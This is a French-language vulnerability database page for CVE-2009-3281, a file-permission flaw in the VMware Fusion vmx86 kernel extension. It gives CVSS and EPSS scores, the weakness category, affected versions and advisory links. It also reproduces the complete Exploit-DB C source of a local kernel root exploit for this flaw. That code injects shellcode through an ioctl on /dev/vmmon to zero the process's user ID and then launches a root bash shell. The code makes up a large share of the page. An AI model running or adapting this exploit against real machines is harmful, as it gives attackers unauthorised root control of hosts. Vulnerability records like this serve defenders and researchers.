CVE-2009-3281 : Détail

CVE-2009-3281

A01-Broken Access Control
0.08%V3
Local
2009-10-16
16h00 +00:00
2024-09-17
00h31 +00:00
CVE.org
NVD
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Descriptions du CVE

The vmx86 kernel extension in VMware Fusion before 2.0.6 build 196839 does not use correct file permissions, which allows host OS users to gain privileges on the host OS via unspecified vectors.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 10076

Date de publication : 2009-10-01 22h00 +00:00
Auteur : mu-b
EDB Vérifié : Yes

/* vmware-fission.c * * Copyright (c) 2009 by <[email protected]> * * VMware Fusion <= 2.0.5 vmx86 kext local kernel root exploit * by mu-b - Tue 23 June 2009 * * - Tested on: VMware Fusion 2.0.4 (10.5.x) * VMware Fusion 2.0.5 (10.5.x) * * http://seclists.org/fulldisclosure/2009/Oct/29 * http://lists.vmware.com/pipermail/security-announce/2009/000066.html * * note: this requires the driver to be 'un-initialised', that is, * you need to hit it _before_ VMware Fusion is first used! * (or, just use another bug to panic the box first ;)) * * - this exploit is provided for educational purposes _only_. You are free * to use this code in any way you wish provided you do not work for, or * are associated in any way with Portcullis Computer Security Ltd. * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2009!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/param.h> #include <unistd.h> #include <mach/mach.h> #include <mach/mach_error.h> #include <mach/mach_host.h> #ifndef IOCPARM_MASK #define IOCPARM_MASK 0x1FFF #endif #ifndef IOCPARM_LEN #define IOCPARM_LEN(a) (((a) >> 16) & IOCPARM_MASK) #endif #define VMX86_INIT_IOCTL 0x802E564A static unsigned char zleopard[] = /* _stack_walk */ "\x89\xe8" /* mov eax, ebp */ "\x8b\x00" /* mov eax, [eax] */ "\x8b\x00" /* mov eax, [eax] */ /* _drop_privs_dirty */ "\x8b\x40\x18" /* mov eax, [eax+0x18] */ "\x8b\x40\x64" /* mov eax, [eax+0x64] */ "\xc7\x40\x10\x00\x00\x00\x00" /* mov [eax+0x10], 0 */ "\x31\xc0" /* xor eax, eax */ "\xc3"; /* ret */ static struct targets { const char *name; int shell_addr; /* +&offset */ } targets_t[] = { { "2.0.4", 0x000D1460 }, { "2.0.5", 0x000D1460 }, { NULL, 0 }, }; struct ioctl_req { char pad[IOCPARM_LEN(VMX86_INIT_IOCTL)]; }; int main (int argc, char **argv) { kmod_info_t *kmod_list, *k; mach_port_t host_port; kern_return_t mach_r; struct ioctl_req req; unsigned int count; int shell_addr; int fd, id, i, r; printf ("VMware Fusion <= 2.0.5 vmx86 kext local kernel root exploit\n" "by: <[email protected]>\n" "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n"); host_port = mach_host_self (); mach_r = kmod_get_info (host_port, (void *) &kmod_list, &count); if (mach_r != KERN_SUCCESS) { fprintf (stderr, "* couldn't get list of loaded kexts from kernel - %s\n", mach_error_string (mach_r)); exit (EXIT_FAILURE); } for (k = kmod_list; k; k = (k->next) ? (k + 1) : NULL) if (strcmp (k->name, "com.vmware.kext.vmx86") == 0) break; if (k == NULL) { fprintf (stderr, "%s: vmx86 kext not loaded?\n", argv[0]); exit (EXIT_FAILURE); } for (i = 0; targets_t[i].name; i++) if (strcmp (targets_t[i].name, k->version) == 0) { shell_addr = targets_t[i].shell_addr; break; } if (targets_t[i].name == NULL) { fprintf (stderr, "%s: unsupported vmx86 version found :( [%s]\n", argv[0], k->version); exit (EXIT_FAILURE); } printf ("* kmod: %s, version: %s, addr: 0x%08X -> 0x%08X\n", strrchr (k->name, '.') + 1, k->version, (int) k->address, (int) (k->address + k->size)); printf ("* ret addr: 0x%08X + 0x%08X = @0x%08X\n", (int) k->address, shell_addr + 0x1000, (int) k->address + shell_addr + 0x1000); fd = open ("/dev/vmmon", O_RDONLY); if (fd < 0) { fprintf (stderr, "%s: open failed\n", argv[0]); exit (EXIT_FAILURE); } memset (&req, 0xCC, sizeof req); memcpy (&req.pad, zleopard, sizeof zleopard - 1); *(unsigned int *) &req.pad[0x21] = k->address + shell_addr + 0x1000; printf ("* hitting..."); fflush (stdout); sleep (2); r = ioctl (fd, VMX86_INIT_IOCTL, &req); printf ("done\n\n"); close (fd); id = getuid (); printf ("* getuid(): %d\n", id); if (id == 0) { char *args[] = { "/bin/bash", NULL }; printf ("+Wh00t\n\n"); execve (args[0], args, NULL); } else fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]); return (EXIT_SUCCESS); }

Products Mentioned

Configuraton 0

Vmware>>Fusion >> Version To (including) 2.0.5

Vmware>>Fusion >> Version 1.0

    Vmware>>Fusion >> Version 1.1

      Vmware>>Fusion >> Version 1.1.1

      Vmware>>Fusion >> Version 1.1.2

        Vmware>>Fusion >> Version 1.1.3

          Vmware>>Fusion >> Version 2.0

            Vmware>>Fusion >> Version 2.0.1

              Vmware>>Fusion >> Version 2.0.2

                Vmware>>Fusion >> Version 2.0.3

                  Vmware>>Fusion >> Version 2.0.4

                    Apple>>Mac_os_x >> Version *

                    Références

                    http://www.vupen.com/english/advisories/2009/2811
                    Tags : vdb-entry, x_refsource_VUPEN
                    http://secunia.com/advisories/36928
                    Tags : third-party-advisory, x_refsource_SECUNIA
                    http://securitytracker.com/id?1022981
                    Tags : vdb-entry, x_refsource_SECTRACK